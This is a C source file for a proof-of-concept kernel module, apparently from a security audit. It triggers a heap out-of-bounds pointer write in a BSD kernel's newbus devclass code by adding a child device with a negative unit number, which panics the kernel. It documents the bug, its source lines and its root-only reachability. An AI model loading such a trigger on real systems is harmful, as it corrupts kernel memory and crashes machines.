/*
 * DF-0003 PoC - devclass_alloc_unit() negative-unit heap out-of-bounds write.
 *
 * The bug (memory-safety, CERTAIN):
 *   devclass_alloc_unit() only treats unit == -1 as a wildcard. Any other
 *   negative unit (e.g. -2) enters the "wired unit" branch but skips the
 *   existing-device check (guarded by `unit >= 0', sys/kern/subr_bus.c:1073)
 *   and the table-extension check (guarded by `unit >= dc->maxunit',
 *   sys/kern/subr_bus.c:1094), so it returns success with the negative unit.
 *   devclass_add_device() then executes
 *
 *       dc->devices[dev->unit] = dev;     // sys/kern/subr_bus.c:1144
 *
 *   i.e. an 8-byte pointer write at a NEGATIVE index into the kmalloc'd
 *   dc->devices array -- a heap out-of-bounds write before the allocation.
 *   device_set_unit() has a matching OOB read at sys/kern/subr_bus.c:2172.
 *
 * Trigger: device_add_child(root_bus, "<name>", UNITVAL).  Build two variants:
 *   * poc_ctrl.ko : UNITVAL = 0   (valid unit; the normal newbus path -- the
 *                                  control.  Must load cleanly.)
 *   * poc_trig.ko : UNITVAL = -2  (negative unit; the trigger.  Must crash.)
 *
 * REACHABILITY: there is no unprivileged-userspace producer of a negative
 * unit in the default kernel; the unit originates from in-tree bus driver
 * code (device_add_child*) or loader hints (root-controlled).  This module
 * drives the buggy sink directly.  It requires root to kldload, but proves
 * the memory-corruption sink fires at runtime on the audited kernel.
 */

#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>

/* Avoid <sys/bus.h>: on x86_64 it drags in platform/APIC bus_dma headers
 * unrelated to this bug.  The newbus symbols we touch are exported by the
 * running kernel and resolved at kldload time. */
struct bsd_device;
typedef struct bsd_device *device_t;
extern device_t root_bus;
extern device_t device_add_child(device_t, const char *, int);

#ifndef UNITVAL
#define UNITVAL  (-2)          /* the trigger by default */
#endif
#ifndef UNITNAME
#define UNITNAME "df3neg"
#endif

static int
poc_modev(module_t m, int what, void *arg)
{
	device_t child;
	(void)m; (void)arg;

	switch (what) {
	case MOD_LOAD:
		child = device_add_child(root_bus, UNITNAME, UNITVAL);
		/* If UNITVAL is negative this kprintf is never reached: the
		 * OOB write inside devclass_add_device corrupts memory and a
		 * following strcmp in the newbus path faults -> kernel panic. */
		kprintf("DF0003: unit=%d name=\"%s\" -> %s (child=%p)\n",
		    UNITVAL, UNITNAME, child ? "OK" : "FAIL/NULL", child);
		break;
	case MOD_UNLOAD:
		break;
	default:
		break;
	}
	return 0;
}

static moduledata_t poc_mod = { "poc_negunit", poc_modev, 0 };
DECLARE_MODULE(poc_negunit, poc_mod, SI_SUB_CONFIGURE, SI_ORDER_MIDDLE);
MODULE_VERSION(poc_negunit, 1);
